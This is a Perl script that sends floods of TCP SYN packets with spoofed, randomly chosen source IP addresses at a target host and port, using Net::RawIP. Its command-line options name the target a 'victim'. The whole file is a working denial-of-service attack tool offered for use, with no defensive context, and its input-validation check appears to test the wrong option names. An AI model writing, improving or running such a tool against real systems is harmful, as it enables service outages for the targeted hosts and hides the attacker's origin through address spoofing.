#!/usr/bin/perl

use Net::RawIP;
use Net::Nslookup;
use Getopt::Long;

my $handler = new Net::RawIP;
my $src_port_range = "16383";
my %opts = (
    'networks' => "",
    'dst_addr' => "",
    'dst_name' => "",
    'dst_port' => "",
    'packet_count' => ""
);

sub get_rand_saddr($)
{
    my ($network, $prefix) = shift(@_) =~ /(.+?)\/(.+)/;

    my $netmask_zero_count = 32 - $prefix;
    my @network_dec_array = split(/\./, $network);
    my @network_binary_array = split("", join("", &dec_to_bin(\@network_dec_array)));

    my @saddr_min_binary;
    my @saddr_max_binary;
    for (my $i = 0; $i <= 31; $i++)
    {
        if ($i == 31) {
            push @saddr_min_binary, "1";
            push @saddr_max_binary, "0";
        } elsif($i >= ($prefix - 1)) {
            push @saddr_min_binary, "0";
            push @saddr_max_binary, "1";
        } else {
            push @saddr_min_binary, $network_binary_array[$i];
            push @saddr_max_binary, $network_binary_array[$i];
        }
    }

    my @saddr_min_binary_array =  unpack("(A8)*", join("", @saddr_min_binary));
    my @saddr_max_binary_array =  unpack("(A8)*", join("", @saddr_max_binary));

    my @saddr_min_dec_array = bin_to_dec(\@saddr_min_binary_array);
    my @saddr_max_dec_array = bin_to_dec(\@saddr_max_binary_array);

    my @octets_array;
    if ($netmask_zero_count <= 8) {
        push @octets_array, 3;
    } elsif ($netmask_zero_count <= 16) {
        push @octets_array, (2, 3);
    } elsif ($netmask_zero_count <= 24) {
        push @octets_array, (1, 2, 3);
    } else {
        push @octets_array, (0, 1, 2, 3);
    }

    my @saddr_rand_array = ( @saddr_min_dec_array );
    foreach my $octet (@octets_array)
    {
        my $k = $saddr_max_dec_array[$octet] - $saddr_min_dec_array[$octet];
        $saddr_rand_array[$octet] = int(rand($k)) + $saddr_min_dec_array[$octet];
    }

    return join(".", @saddr_rand_array);
}

sub send_syn_packet($$)
{
    my $network = shift @_;
    my $dst_addr = shift @_;

    my $src_port = int(rand($src_port_range)) + 49151;
    my $src_addr = get_rand_saddr($network);

    $handler->set(
        {
            ip => {
                saddr => $src_addr,
                daddr => $dst_addr
            },
            tcp => {
                source => $src_port,
                dest => $opts{'dst_port'},
                syn => 1
            }
        }
  );
  $handler->send;
  print $src_addr.":".$src_port." -> ".$dst_addr.":".$opts{'dst_port'}."\n";
}

sub dec_to_bin($)
{
    my $ref = shift @_;

    if(ref($ref) eq 'ARRAY'){

        my @result;
        foreach my $var (@{$ref}) {
            my $tmp = unpack("B32", pack("N", $var));
            $tmp =~ s/^0+(?=\d)//;
            $tmp = bin_complate($tmp);
            push @result, $tmp;
        }

        return @result;
    } else {
        my $result = unpack("B32", pack("N", $ref));
        $result =~ s/^0+(?=\d)//;
        $result = bin_complate($result);
        return $result;
    }
}

sub bin_to_dec($)
{
    my $ref = shift @_;

    if(ref($ref) eq 'ARRAY') {
        my @result;
        foreach my $var (@{$ref}) {
            my $tmp = unpack("N", pack("B32", substr("0" x 32 . $var, -32)));
            push @result, $tmp;
        }

        return @result;
    } else {
        return unpack("N", pack("B32", substr("0" x 32 . $ref, -32)));
    }
}

sub bin_complate($)
{
    my $ref = shift @_;
    my $length = length($ref);
    while($length < 8) { $ref = "0".$ref; $length++; };

    return $ref;
}

#
# MAIN
#

my $result = GetOptions (
    "networks=s" => \$opts{'networks'},
    "victim_addr=s"  => \$opts{'dst_addr'},
    "victim_name=s"  => \$opts{'dst_name'},
    "victim_port=s" => \$opts{'dst_port'},
    "count=s" => \$opts{'packet_count'},

);

unless ($opts{'victim_addr'} || $opts{'victim_port'} || $opts{'networks'} || $opts{'networks'} !~ /(?:\d+(?:\.\d+){3}\/(?:\d+).){1}/ || $opts{'count'}) {
    print "Change CLI opts.\n";
    exit 0;
} else {
    @spoof_network = split(",", $opts{'networks'});
}

my $syn_count = $opts{'packet_count'};
while($syn_count > 0)
{
  foreach my $network (@spoof_network)
  {
    if ($opts{'dst_name'}) {
        my @dst_addr_array  = nslookup(domain => $opts{'dst_name'}, type => "A");
        die("Invaild victim_name param value!\n") if ($#dst_addr_array + 1) < 1;

        foreach my $dst_addr (@dst_addr_array)
        {
            send_syn_packet($network, $dst_addr);
        }
    } else {
        send_syn_packet($network, $opts{'dst_addr'});
    }
  }
  $syn_count--;
}